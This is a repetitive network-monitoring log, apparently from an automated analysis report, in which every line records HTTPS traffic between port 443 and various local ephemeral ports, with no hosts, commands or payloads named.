Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443

